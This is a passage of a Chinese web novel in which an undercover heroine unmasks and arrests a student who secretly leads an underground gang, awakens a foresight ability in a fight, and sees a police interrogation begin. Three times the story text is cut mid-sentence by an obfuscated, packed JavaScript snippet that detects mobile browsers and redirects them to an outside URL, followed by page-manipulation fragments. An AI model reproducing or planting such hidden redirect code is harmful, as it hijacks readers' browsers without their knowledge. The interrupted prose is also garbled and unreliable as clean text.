“具体的理论比较复杂,我就不赘述了,总而言之,反派不是靠系统屏蔽功能来隐藏位置吗,我这个设备说不定能拆招,不过前提是有人在与他通话。” “举个例子,你已经黑进嫌疑人的‘宙’中植入了这个隐藏程序,那么后续嫌疑人与反派联系时,你就可以启动这道程序,它会扫描感应到系统这一特殊存在,并进行破解追踪。” “不过我只能根据咱们系统目前的最高能力水平进行针对性分析和调整,因为不知道反派系统屏蔽能力究竟有多强,可能只能捕捉到一点点,也可能失败。” “但只要捕捉到一点,我就能得到新的信息和数据,好与系统打配合,不断进行改进完善,争取有一天能彻底撕掉他的伪装。” 行动组其她成员也激动不已,齐声开口夸赞廖怀霖,所有带笑的字词旋转着碰在一块蹦跳,都听不清到底在说什么了。 燕逸岫夸完后笑着静静端详屏幕那头廖怀霖的脸,发现她黑眼圈比刚来时更重了点,不过班味倒是淡了很多,没有那种生无可恋的死人感了。 她解释着自己研究出的改良版程序,双目中明光熠熠,满是自信与喜悦。 燕逸岫记得之前闲聊时廖怀霖曾说起过几句自己的事。 她在原世界是牛马程序员社畜,加班加得昏天黑地,每天都想炸了这个讨厌的世界。 暗地里她还有另一个身份——黑客,心情不好就和网络上的各种脑残喷子对线,黑了那些乱讲话造成不良影响的人的电脑,送点惊喜木马给对方添堵,逼对方道歉认错。 她靠着这项乐趣撑过了一年年的无涯辛劳工作,没想到有朝一日自己会因为黑客技术而被系统选中带到这里。 来都来了,当然要好好会会这个神出鬼没的反派,用上自动的特长帮忙,顺便努努力突破技术水平上限。 廖怀霖和大家笑完,收起不正经的样子,认真解释起操作步骤,方便大家遇到紧急情况时能熟练顺利地用好这个程序,抓住反派的尾巴。 随后温簌也汇报说明了跟踪情况,彭嵘仍然每天规律地生活学习,没有异样。 姜韫很快回复:“调查这么多个月,已经掌握了足够证据,下次彭嵘有异常行动时就可以先抓了,看看能不能从她口中问出点什么来。” 她怕再拖下去,彭嵘的下场会和欧徽一样。 燕逸岫估摸彭嵘应该快要开始行动了,但也没想到会这么快。 第二天晚上,温簌给燕逸岫发来消息和定位。 “彭嵘准备离校外出了,她今天没有兼职,我不确定她去哪,正在跟踪中,也放了监视器在天上跟着,实时定位已经同步到你的微系统上,如果她是去见与反派有关的人,就需要你也跑一趟了。” “我这就出发。” 地图上的红色圆圈一点点移动着。 燕逸岫认得这条弯弯绕绕的路,正是穿过川城附近进入边缘地段,走向村尾。 彭嵘果然知道那条暗道。 这次燕逸岫没有走井底暗道,而是从地下城正大门入口下去,扫描一辆小车,呼溜溜吹着风朝地下城东部中心而去。 到达目的地后,她转悠了十几分钟,目光终于锁定了她想找的人。 虞瓷正蹲在自助贩卖机前听大屏上的新闻,一脸困倦,边甩着一串芯片,转出稀里哗啦的清脆声响。 只有她一个人在,老天眷顾。燕逸岫把早已在脑海里背了几百遍的话再模拟一遍,然后大步朝她走去。 “在天锦区发生的鬼屋挟持绑架案中,警察共找出三具尸体,一名重伤幸存者,其她人安全无恙。” “爆破组集合数十名专家,正在研究该案中的炸药装置……” “两个月前,天烁区一栋旧大楼墙体出现巨大裂缝,严重威胁住户安全,必须尽快拆除,民众反映经济补偿迟迟没有结果,具体情况相关单位仍在调查处理中,资产不足以购买新居的住户或将统一被划分归入地下城公民……” 听着这些,虞瓷冷笑一声,还没翻完白眼,就注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660927|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有个人停在自己面前。 她抬起了头,这个短发女生马上朝她露出略显僵硬的笑。 “虞瓷,呃……” 卡壳了。 虞瓷站起身直视面前的人,挠挠脸:“嗯?你是……” “你上次还拿枪指着我呢。”燕逸岫提醒她。 可她天天都在拿枪指人,哪能每个倒霉鬼都记得清楚。 下一刻,记忆中那张灰头土脸的面容与眼前的人重合在一起。 她想起来了。 “啊……哦哦哦——是你啊。” “怎么还惦记着那事,俗话说得好,不打不相识嘛,”虞瓷自来熟地招呼她,“走走走,正好到点了,我叫上几个朋友,我们一起去喝几杯,一醉泯恩仇。” “啊不了不了,”闻言燕逸岫大惊失色,赶紧摆手,一副见鬼的样子,手都快扇出火星子了,“我又不认识她们。” 虞瓷不以为意,直接挽住她的胳膊拖着人走。 “一起玩不就认识了?” “不认识怎么一起玩?!” 燕逸岫一想到众人皆熟我独傻的尴尬场面,浑身鸡皮疙瘩冒个不停,使了劲试图从她臂弯挣脱出来。 “不一起玩那你怎么认识新朋友?” “我可以不交的。” “……” 两人大眼瞪小眼。 “好吧好吧,真是的,”虞瓷从没听过她这番理论,顿觉好笑,松了手由她,“但你总不可能从没交过新朋友吧?” “我不会主动交,都是等哪位社牛愿意主动来捡我。” “那我这会儿不是也想捡你去认识新朋友吗?” 燕逸岫尴尬地嘿嘿笑,竖起食指:“一次只能一个,多了我就头脑死机。” “你这人还真是奇怪,行吧,你不愿意就算了嘛。”虞瓷叹气,又蹲了下去,一会儿都懒得多站。 燕逸岫暗自拍了拍胸口。 还好虞瓷比较善解人意,没有硬拽她去。 不认识的一起玩一起喝几杯?太恐怖了,这对她而言比恐怖片还惊悚,和陌生人坐一块儿,话都不知道聊什么,也不知道聊什么合适,不会触及对方的雷区。 所以这项活动早已列入她这辈子都不会干的清单里去了。 新闻里温柔沉稳的女声仍在继续报道。 “接下来一周预计持续有雨,风力5—6级,请广大居民注意,外出别忘了携带雨具。” “住地下城的好处就是不怕下雨会淋成落汤鸡,”虞瓷半垂着眼说话,不知道是说给燕逸岫听还是自言自语,“这种东西干什么还放在这里播,故意挑起对立和纷争。” “七月中旬将会有一场盛大的流星雨,近期露营用品销量暴涨……” “也和我们地下城的人无关,”虞瓷翻了一个完整的白眼,注意力再度转回燕逸岫身上,“话说你找我干什么?难不成我姥姥又啰嗦什么了?” 燕逸岫摇摇头,伸手摸口袋掏出一直保护完好的东西:“虞阿婆托我把这个东西交给你。” 看到躺在她掌心的小盒子,虞瓷眉头动了动,表情中闪过一丝诧异,随即恢复懒散的模样,拿走了盒子揣进兜里。 “谢了。” 燕逸岫也没打算多嘴询问,完成虞阿婆交给她的任务后就单刀直入:“我今天来还为了另一件事。” “什么?” 燕逸岫镇静与之对视,声音很轻,但语气笃定:“我想见你们帮派的老大。” 34. 觉醒异能 这话着实出乎她的预料,虞瓷停下甩着芯片的动作,目光多了几分审视,左眼稍稍眯起。 “见我们老大?好端端的怎么突然冒出这种念头。” “或者,我可以先问问你们老大是谁、叫什么吗?” 虞瓷忽然笑了起来,屈指摆出手枪的样子,食指顶在燕逸岫脑门不轻不重地戳了两下:“喂喂喂,你认真的?乱打听没准会横尸地下城的。” “不是乱打听,”燕逸岫一本正经地摇头,“我真的想见一面谈事情。” “你?你一个大学生模样的小孩,能和帮派谈什么事情?” 燕逸岫靠近了些,压低声音说道:“我以前听人闲聊说起过,有些帮派会专门培养一批杀手,只要有足够的钱,就能找帮派帮忙杀人,类似古代的悬赏令。” 这些话倒也不是她胡诌,姜韫遭追杀那晚,她们最后留下了三个活口转交给警察审问,便得到了这些内容。 经调查,这三人都是炎穆帮这一地下城帮派的成员。 6月19日,炎穆帮首领召集这二十几人,说有个紧急任务需要他们办,传了一份文件到他们手中。 上面详细地写出了任务具体内容,包括埋伏的时间地点,每个人要做的事情,几人当诱饵、如何引对方上钩、几人巡视、几人伏击、如何伏击,等等等等,都计划得清清楚楚,他们只要照做就行。 往后翻就是附上的目标相片,正是姜韫。 底下则强调了姜韫心思缜密,擅长近身格斗,枪法一流,不可轻敌。 所以诱饵必须慎重选择,不能露馅让她察觉出端倪,成功引她进入厂区后尽量不与她缠斗,以远距离偷袭为主。 大概是钱给到位了,也或者对方是首领的亲朋好友,总之首领对该任务十分上心,点名的都是优秀拔尖的手下,一副誓要完美完成任务的架势。 一切本按照流程顺利进行着,作为诱饵的人也成功将姜韫带到了厂区,但可能是因为当晚风太大,他们帮派里最好的狙击手竟然失误了,没能一击致命。 不仅如此,目标中弹后居然还能捂着伤像没事人似的狂奔好几百米躲避追杀,找地方藏了起来。 计划用时因此被迫延长,他们只能继续守在厂区展开搜寻。 时间拖久了之后姜韫的救援力量赶到,那三个人都不是好对付的,一出现就杀翻了,甚至反客为主占领高地,成为唯一拥有上帝视角的人,将他们的计划完全打乱,行动彻底崩盘。 关于这一任务是首领自己的意思还是别人交给他的,他们都表示并不知情,只是猜测应该为外人。 因为他们老大是个粗人,从不会拟这种一看就很有文化的详细有条理的缜密计划书,而且也从没见他与照片上的人有过交集。 那么这个外人,很有可能就是反派。 “所以,”燕逸岫严肃地说出自己的意图,“我也想雇帮派的人帮我解决掉某人,价钱好商量。” 虞瓷垂眸打量她,眉头挑起,长长哦了一声。 燕逸岫露出笑容扯扯她的衣服:“我这不是因为碰巧跟你说得上两句话才找你问问吗,不然我根本不知道上哪儿找,事情能谈妥的话也是正好给你们加‘业绩’了。” “如果你们组织不接杀人的活,或者能不能帮忙指条路,告诉我怎么找到炎穆帮?我知道他们确实干拿钱杀人的任务的。” “炎穆帮啊,我说过我不了解。” “同为帮派首领,又都是地下城的,你们老大应该接触过,会知道一些吧?所以我才说想见见,好仔细商量商量。” “你不怕死吗?” 燕逸岫无辜地扬眉,透出一股清澈愚蠢:“为什么会死?我又不是要去你们组织里闹事,我是真心求人帮忙的。” 边与虞瓷说着这些,燕逸岫暗地里留意地图上彭嵘位置的移动。 已经离自己越来越近了。 似乎就在不远处。 虞瓷点着头盘算了一会儿:“你要这么说,那也没问题,我可以带你过去。” “太好了。” “不过究竟能不能见上可不是我能说了算的,我不是心腹,不能靠太近,进门后会是别人带你去,会盘问一堆问题,确认你没有威胁才能见上老大。” 燕逸岫连连答应。 这时,她听到轻盈的脚步声靠近。 “你怎么还在这儿?” 虞瓷转头看向来人:“啊,阿山啊,我碰到熟人聊几句,很快就过去了,放心吧,我注意着时间呢。” 燕逸岫探身,瞧见了对方的模样。 她戴着棒球帽,口罩将大半张脸遮得严实,只露出浓眉和双眼。 但燕逸岫还是认出来了,面前的人就是彭嵘。 “你来得正好,”虞瓷拉起燕逸岫走到她面前,“这个妹子想见老大,有事要谈。” 她三言两语把燕逸岫的来意说了个大概。 听完这些,彭嵘皱眉,目光流露出狐疑,当即甩出了几个问题了解对方底细和想杀的人是什么身份。 燕逸岫对答如流,表情自然,把提前编好的内容一点点展开说给她听。 彭嵘逐渐放下戒心,视线转向虞瓷:“行,我带她过去吧,你也早点回去,别又迟到被训了。” “知道知道,放心吧。” 虞瓷说完拍拍燕逸岫的背,嬉皮笑脸:“去吧,到时候我在门口等你,前提是你能活着出来。” 彭嵘也笑了,浑身生人勿近的气息略淡了些:“少吓唬人,说得好像我们那儿像狼窝似的。” 燕逸岫一副不敢吭声的模样,怯生生地弯起眼睛作为回应。 于是接下来她就跟着彭嵘走了两分钟,边又回答了她十个问题。 真是谨慎得吓人。 最后两人来到一座咖啡厅,搭乘电梯上三楼,进入一间隔间。 “你先坐,我去通报一声。” “好,谢谢你。” 彭嵘离开后,燕逸岫好奇地环顾四周。 室内干净明亮,一切装饰陈设都简洁干净,沉沉木香萦绕,暖黄灯光盈满屋子,照出温馨安宁的气氛。 这和她以前在电视中看到的帮派组织老巢不一样,不是阴冷昏暗的,不是充斥烟味血味硝烟味的。 像个普通人的家。 过了一会儿,另一个戴眼镜的女生开门走进来,刀子般的锐利目光将她浑身上下刮了一遍,满是警惕:“就是你要见老大?” 燕逸岫忙不迭点头,朝她礼貌笑笑。 扫描搜身过后,确认她身上没有携带武器了,她的脸色才缓和几分,语气也温柔了些:“老大现在在忙,我带你去门口等,门开了才能进去。” “好,谢谢你。” 燕逸岫跟在她身后,走过弯弯绕绕的走廊,嘴角缓慢落了下来,准备好如何应对接下来的会面。 她在一扇木门外安静等了十分钟,终于听到门开的声音。 但并没有人出现在门边喊她进去。 燕逸岫迟疑片刻,鼓起勇气迈步走进屋里关上门。 这间屋子很宽敞,同样也是简单干净的装潢,另一侧还有一道小门,不知道是通往哪里。 主座上没有人,彭嵘正在墙角的桌前泡茶,边和某人通话,恭恭敬敬应了几声“明白”。 “坐,老大有事耽搁了一会儿,马上到,我先倒杯茶给你。” 彭嵘结束通话后端着两杯茶走来,轻轻放在桌上,直起腰后看向还杵在旁边站着的燕逸岫。 燕逸岫应了一声,慢吞吞挪到她面前,不知道该不该坐下。 彭嵘仍然没有摘下口罩,眼中盛着亲切的笑,静静打量着她。 还没等燕逸岫张嘴说什么,她突然从腰侧拔出一把匕首反手挥向她。 锋利的刃片出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667588|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞘,如鸽子展开的翅膀,卷着一丝冰凉的气味,杀气腾腾扑袭目标。 燕逸岫没预料到会是这种状况,头脑发懵,好在身体条件反射地先一步做出反应,后仰躲开冲着脖子划来的利刃。 站稳后燕逸岫才感觉头脑思绪全部加载出来。 不是吧,零帧起手啊? 见一击没中,彭嵘握紧刀继续攻击,眼中的笑意早已消失无踪,取而代之的是令人心惊的冰冷。 燕逸岫两手空空,只能根据她动作的方向不断闪躲,避开利刃。 “等等,我们先坐下心平气和聊一聊好吗?我不是什么不怀好意的人啊。”她一边躲一边扯皮,尽量拖延时间。 “心平气和?恐怕没办法。” 燕逸岫抓准时机撑着沙发靠背翻了过去拉开一定距离,吐气平缓呼吸后,看向扯掉口罩的彭嵘。 “原来你就是帮派的首领。”燕逸岫说道。 思来想去,只有这一种可能。 在学校里当班长、校宣传部部长、校艺术团策划组组长,上课、做作业、参加部门社团活动、假期社会实践、竞赛,还在校外做兼职,没想到还能再在地下城管理一整个帮派。 真是超乎想象的时间管理强者,令人大开眼界。 燕逸岫本寻思着彭嵘每天都忙得不可开交,已经是分身乏术,才没往首领那个位置想,推测她只是帮派里其中一员或者比较重要的心腹。 看来还是自己思维局限,想得不够大胆了。 她这多边形战神还真能同时做好这么多事情,简直是肝上长了个人。 “废话可真多。”彭嵘声音也透着冷意,并不打算和她谈什么,也干脆利落地翻过沙发,挥动匕首步步紧逼。 在这种危险境地里,燕逸岫总是先把防御值点满,开启最拿手的闪躲大法,生怕自己受伤,至于如何反击则是后面才考虑的事情。 缠斗几分钟都没碰到对方一根头发,从没遇见这种情况的彭嵘不禁恼火起来,招式也越来越急躁,凶气毕露。 “你到底是什么人?” “你要是放下刀,说不定我们还能好好聊聊。” “我跟你没什么好聊的。” “那我也没办法好好回答你的问题了。” 彭嵘速度不如小黑,燕逸岫目前应付起来还算轻松。 下一刻,一道陌生的机械声音不合时宜地在她脑海里响起。 “队员燕逸岫,敏捷值100,已满级。” 满级了? 燕逸岫不禁诧异,注意力不由地移向脑海中的虚拟屏,躲避的动作因此迟缓一拍。 彭嵘目光闪动,精准地抓住了对方分神的一瞬间,从背后拔出手枪瞄准人影,毫不犹豫扣动扳机。 一声巨响在屋中炸开,燕逸岫在一刹那看到了那颗高速旋转的子弹冲着自己眉心飞来,近在咫尺。 硝烟味弥漫四周。 燕逸岫瞳孔中忽然闪过一点隐秘红光,随即右脚向侧后方滑半步,踏实地面稳住重心,飞速往右边偏身躲避,顺势转身往前几步靠近彭嵘。 子弹没入墙中,留下焦黑的弹孔,像白墙睁开了一只眼睛观察着屋内的两人。 见状,彭嵘顿时愣住,没想到她明明分心了竟然还能躲开近距离发射的子弹。 这是正常人能有的反应速度吗? 枪声、自己的呼吸声、急促的心跳声和微系统的机械音同时在燕逸岫耳边回荡,形成激昂交响乐。 “已觉醒异能【预判】。” 【预判】——可预知对方未来十秒的动作,包括武器、距离、方向等等,同一时间内不限人数,皆可预判。 异能觉醒的一瞬间就派上用场救了她的命。燕逸岫舒了一口气,拨开垂在脸前的头发,抬眼盯住了表情错愕的彭嵘,目光明亮,也回以一丝亲切笑意。 这种技能,可太实用了。 35. 互相帮忙的事怎么能叫利用呢^^…… 彭嵘只当她是侥幸躲过去的,立马回神继续开枪射击,连发三弹。 人总不可能永远有那样的好运气。 但当燕逸岫像飞鸟似的闪出残影,将三枚子弹都躲过去后,彭嵘冷酷的神色控制不住地出现裂缝,咬牙切齿。 她还没放弃,正准备继续连发清空弹匣,燕逸岫已经出现在自己面前了。 下一刻,手腕一阵疼痛。 枪被燕逸岫抬腿横扫踢飞,重重撞在墙上,再砸向地面。 接着燕逸岫将彭嵘还没来得及收回去的手臂一把抓住,假装要擒住对方过肩摔,实则出其不意伸腿踹向她的脚踝处,让她失重摔倒。 但能当上首领的自然不是手无缚鸡之力的人,柔道八段的彭嵘马上见招拆招,燕逸岫看不懂她怎么转怎么扭的,三两下就轻轻松松从她的束缚中滑出。 燕逸岫目前只临时抱佛脚跟着秦观秋学了几招,她有自知之明,自己根本无法和练家子硬碰硬,于是赶紧松手拉开安全距离,重新退回防守状态,耐心等待合适时机来临再偷袭。 两人你追我躲纠缠了十几个来回后,彭嵘注意到燕逸岫的动作比先前迟缓了一两秒,呼吸也更重,显然已经有些疲于应对了。 疲惫会牵动四肢百骸,使人无意中露出破绽。 这表示她马上就要抓住对方了。 面对拐弯砸向自己腰部的拳头,燕逸岫堪堪避开,动作略显笨重,好在还能防守得住。 彭嵘已经预见胜利,嘴角弯起微小的弧度,攻击愈发气势汹汹,让人招架不住。 在这关键时刻,燕逸岫忽然不慎崴脚,跌跌撞撞往前冲了几步摔在地上翻滚一圈,膝盖在地面撞出不小的声响,听着就让人觉得骨头生疼。 真是天助我也。彭嵘冷笑,提拳追过去打算趁热打铁一举擒拿,下一刻又敏锐意识到不对劲,大步后退想要拉开距离躲避。 但已经来不及了。 跪在地上的燕逸岫抬起头。 彭嵘看到她的眼睛隐在凌乱的刘海后,像蛇瞳般锐利阴冷,死死锁定了猎物。 燕逸岫握枪抬臂,一瞬间瞄准好位置射击。 随着枪声骤响,子弹穿透彭嵘的右肩,勾着碎肉血淋淋飞出。 彭嵘也随冲劲后退,捂着伤口侧靠在墙上,脸色白了几分,额头渗出细细密密的冷汗。 射伤她的肩膀限制惯用手活动后,燕逸岫将彭嵘双手反剪到身后押住,另一手毫不客气地按在她枪伤伤口上。 “看你得意的样子,你以为打赢我就能活着走出我的地盘吗?”彭嵘疼得呲牙,浑身无力,无法反抗。 枪声为信号,帮派里的人必然都已经听见,携带武器赶来保护首领,守在门外待命。 “这不是有你吗?”燕逸岫低头把她的手绑起来,“挟持着你出去,她们就不敢轻举妄动了。” 彭嵘笑得肩膀都颤抖起来,牵扯到枪伤又疼得脸颊抽搐:“电视剧看多了吧妹妹,就算拿我当人质,你以为你独自一人防得过十几二十个枪口?你顾得到侧面和背后?” “是啊,我也这么觉得,太危险了,所以……”燕逸岫慢吞吞说道,笑着耸肩,“直接让她们听不到就好了,能省去后面可能发生的麻烦。” “……什么?” 燕逸岫在进屋关上门之后,就让系统开启隔音屏蔽和监控屏蔽,封锁这间屋子,防的就是类似的凶险情况。 万一自己与对方到了拍案而起你死我活的地步,有了这道保障,打斗声不会引来外面的人手,就能将同一时间内出现的敌方数量降到最低。 这是她在两手空空没有带武器的境况下最稳妥的作战方案。 系统的能力,对付帮派这些普通人当然绰绰有余了。 “而且,你身居高位,又隐藏真实身份,怎么可能会没有为了方便自由来去避人耳目的专属暗道呢,应该就在这间屋子里吧?” 燕逸岫说着,边环顾四下,想象自己是帮派首领,这间房也是自己的。为了能随时离开,不引人注意,她会将暗道设置在哪里。 “我猜猜……”燕逸岫沉吟片刻,语调忽地轻快,一副恍然大悟的模样,“是在墙边的杂物柜里吧?” 听到她这么轻易就精准指出了暗道位置,彭嵘呼吸一滞,对眼前这个人忌惮更深。 这条暗道不似虞瓷几人挖的那条坑坑洼洼的简陋暗道,而且仔细修齐整,干净宽阔,不会蹭得满头满身是灰土。 “我有点好奇,你为什么二话不说就攻击我,觉得我有问题?” “直觉。”彭嵘并不想聊,仍然板着脸,随口搪塞一句。 她不肯说真话,燕逸岫也不着急,反正抓回警局里后有的是时间和专业警员来审问,轮番上阵给她施加心理压力等等,以此套出线索。 她们沉默着走了五分钟左右,终于来到出口。 推开门后,望着映入眼帘的人影,燕逸岫和彭嵘都愣了愣。 虞瓷正靠在门边哼着歌,转头看向从里面走出来的人。 从两人姿势上很明显就能看出是谁赢了。 见到熟悉的朋友,彭嵘大喜过望,深感自己幸运,立刻朝她喊道:“阿七,快抓住这个家伙!” 她激动得一时没想到为什么虞瓷会出现在这个本应只有她自己知道的出口。 而燕逸岫则没什么反应,因为就算多几个人她也应付得过来,不足以担忧。 虞瓷没有理会彭嵘的指示,而是饶有兴致地打量起面无表情的燕逸岫,点着头赞叹:“啧啧啧,深藏不露啊。” 随后她的目光又轻飘飘落在彭嵘脸上,拉长语调。 “啧啧啧,你也深藏不露啊,阿山。” “居然偷偷摸摸当首领,把我们都蒙在鼓里,防贼似的,真令我们姐妹寒心。” “我、我那是有苦衷的……” “既然是有苦衷,那阿七你就放心离开吧,”虞瓷打断她的话,走近几步,弯腰扬起假惺惺的笑,“帮派交给我来管理就好了,你也能获得想要的自由,两全其美啊。” 她的意思非常明显。 彭嵘注视着她野心燃烧的明亮双眼,诧异万分,旋即气急攻心:“你……你怎么敢……” “我有什么不敢呀,”虞瓷像是听到了什么蠢问题,撇嘴抱起双臂,“正好,也该告诉你了,你的一号心腹和三号心腹都已经是我的人了。” “至于二号嘛……唉……可惜了,实在是忠心耿耿。”她一脸惋惜地摇头叹气。 闻言,彭嵘愣住,她想到了什么,瞬间暴怒,挣扎着想要扯脱手上的束缚去撕了虞瓷:“她是你杀的!” 虞瓷欣赏着她无能狂怒的模样,笑嘻嘻往后退几步躲开:“猜对啦。” 燕逸岫也睁大双眼,静静站在一旁沉浸式当吃瓜群众,看看彭嵘又看看虞瓷,听八卦听得很入迷。 这时,另一个人出现在她们身后,彭嵘不经意扫视瞧见她,震惊地僵在原地说不出话。 虞瓷留意到她不寻常的反应,漫不经心回头,待看清对方面容后,也霍然惊怔,反手就要摸枪。 映入眼帘的,正是彭嵘。她站在门外,沉默地注视着她们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679488|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么回事?为什么有两个彭嵘? 闹鬼了? “别开枪!虞瓷,我知道她是谁。”燕逸岫连忙出声阻拦。 “什么?” “她是我找了好久才找到的长得和彭嵘相似的人,用来当几天替身。” 其实这位替身并不是长得和彭嵘像,而是易了容的温簌。 在进入咖啡厅前,燕逸岫就按照计划将自己的共享定位发给温簌,等到自己抓住彭嵘后,再让温簌循着最后更新的定位位置找过来集合。 “为什么要找个人来假扮她?”虞瓷不解地问道。 燕逸岫从温簌手中接过手铐,把彭嵘两手拷上,边说道:“当然是安排不在场证明啊,我一来,帮派首领就消失,这搁谁不怀疑我,要是有人死劲追查我的下落,岂不是平添麻烦。” “想得还真周到。” 燕逸岫将彭嵘摁进小车中将她打晕捆好,由温簌押她回警局,自己则留在原地。 毕竟还有些事要和虞瓷聊聊。 两人站在路灯下,目送街道上的行人来来往往。 “你刚才说的那些是真的?” “当然。” “你早就知道她是真正的老大了。” “是啊,我可是调查了很久呢。” 燕逸岫眨眨眼,直白地道出事实:“你利用我。” 虞瓷哈哈大笑,揽过她的肩膀晃两下:“欸——互相帮忙的事怎么能叫利用呢。” “你早就算好了,答应送我去见彭嵘,如果我赢了,你就可以不费吹灰之力夺走首领之位,如果我输了,就当什么也没发生过,继续潜伏找机会。” “差不多就是这样。” “所以你之前说什么前提是我能活着出来不是开玩笑,你知道我是抱着别的目的来的。” 虞瓷爽快地点头承认:“是啊,早看出来你不简单了,你以为我会随随便便放人进帮派里吗?” “哪里看出来的?” “你的眼睛。” 燕逸岫不禁疑惑,自个儿想了想,还是没明白为什么眼睛会露馅,明明乔琅也说过,她的五官没什么让人记得住的特点,按理说不会引起注意的。 “就是现在这样,”虞瓷抬手,手指在她两只眼睛前来回划动,“不管是有疑问还是高兴不高兴,哪怕当初我们那么多枪全部指着你,你的目光都没有波澜,太静了。” “你的整体表情是会展现出不同情绪,但眼睛里完全没有变化,就好像脸上的表情是为了让自己看起来是个人才刻意扯出来的。” “泰山崩于前而色不变,想做到不是那么容易的,这种心中没有任何情绪波动的状态,我只在职业杀手身上见过,她们是完全死人脸,你外表还会装一装,试图融入人群。” “所以我猜测你是职业杀手,被某人派来杀阿山,或者你是警察。” 燕逸岫五官都快皱在一起了,觉得她似乎在描述一个自己不认识的人。 真的是她说的那样吗? 这会儿燕逸岫也懒得细究,想起虞瓷刚才说她已经策反了彭嵘的两名心腹,就忍不住学她说话:“啧啧啧,你也深藏不露啊,虞瓷。” “谬赞谬赞。”她作出一副客气的样子摆摆手,但神色间的自信得意并没有消减。 “这么算来还是你躺赢,我可是差点没了命。” “我又不是没良心的家伙,你推波助澜帮了我,我当然会有所回报。” “哦?是什么?” 虞瓷半眯起眼,笑着回答:“你想知道的情报。” 36. 代号“礼拜” “你不是想知道阿山和炎穆帮的事情吗?” 虞瓷将两份文件传给燕逸岫。 燕逸岫急匆匆返回警局时,谭誉道正在劝屏幕那头的姜韫好好休息,恢复期别太劳损心神,审讯有他来负责,不用太担心。 姜韫伤口的恢复状况很不错,但还没到可以下床重返工作继续忙碌的程度。 谭誉道再次打开彭嵘的资料细细读了一遍,做好准备后收起屏幕走进审讯室。 彭嵘坐在椅子上,手腕上仍然戴着手铐,状态放松,没有半点特别情绪,声音懒洋洋的。 “警察姐姐,我记得当帮派老大不犯法吧?我也没犯过偷盗杀人之类的罪,为什么抓我?” 谭誉道无言把陈奥典案的几张照片打开推到她面前。 看到那惊悚的尸体照片,彭嵘有几分茫然,随后才想起来这是什么。 “这不是之前发生在我学们校的那个可怕案子吗?与我有什么关系。” 见她仍然笑吟吟假装不知情,谭誉道也懒得再废话,把这几个月大家找到的证据线索一条条都列给她听。 另一部分线索是她暗地里与几个帮派接触过的痕迹,证据确凿,她爽快地承认了。 但提及陈奥典案,彭嵘对此没什么反应,案发时段没有任何与她相关的证据留存,她想怎么编就怎么编。 她脸上带着笑,一条条即兴反驳,滴水不漏把自己摘出去。 彭嵘目前状态仍然很稳定,不因被拷上手铐关进警局而产生情绪波动,并不容易被撬开嘴。于是谭誉道更换另一项战术,心理战。 他收起照片,低声说道:“陈奥典也是个很优秀的学生,年纪轻轻被残害,实在可惜。能成为好孩子并不容易,对吧?” 彭嵘挑眉,似乎对着没头没尾的话来了兴趣。 “你的父母很严格,对你们要求极高,你的哥哥彭峥受不了巨大的压力,在高二时自尽了。” “他一走,就只剩下你,原本均摊的负担全部砸在你头上,显然你的心理素质比他更强,一直坚持下来了。” “你在大学里也是万众瞩目的优秀人才,但是没人知道你从小到大是背负着怎样的压力成为现在的模样。” 彭嵘若有所思地垂下眼帘,倒是愿意和两人聊一聊这个话题。 “不少父母都是这样,对孩子的成功有着疯狂的执著。” “小学要当最优秀的孩童,高中的目标是要考全国最顶尖的大学,大学更要全面发展,毕业后要找比别人好的工作,还要不断往上爬证明你的优秀,和别人比较资产多少比较职位高低……” “这种‘进步’什么时候是个头?等到死了?那这一辈子艰辛劳累只做了一件事,就是要得到别人的肯定,那人生有什么意思?” “孩子许愿大多希望父母一生平安健康,而家长却把无数合理不合理的期待全部丢给孩子代为实现。” “为什么父母总是这么贪婪,为什么永远对孩子不满意。” 成绩差,要求你考好;考得好了,就要你考第一;考了第一,就让你必须永远保持第一;你保持全校第一,又会被拿来和别校、全省、全国的第一比较;学习没问题,就会开始拿学习外的事情比较,无休无止,望不到头。 就像黑心老板一样,这个月完成业绩,他下个月就提高指标,总之绝不会让人好过。 “区别大概就是家长会说爱你,说自己多用心养你长大,反复念着强调着自己的付出,用一串串话勒住你的脖子,让你窒息让你愧疚,最后只能怀着亏欠遵循父母的期待往前走,不敢停下休息,不敢独自享受一点点幸福。” 彭嵘轻飘飘叹气,不知回忆起什么,手指在桌上画着圈:“我哥就是这样,他很想实现父母的期待,可惜没能成为父母理想中的顶尖人才,被逼得绝望崩溃,最后不想继续往前走了。” “所以这个监狱一样的家里,被盯着的就只剩下我了。” 说完后,她目光移回望向对面,对于两人露出的同情神色感到好笑:“你们觉得我也是那样凄惨?那就猜错了。” 彭嵘自知称不上天才,但勉强能完成父母越叠越高的目标。 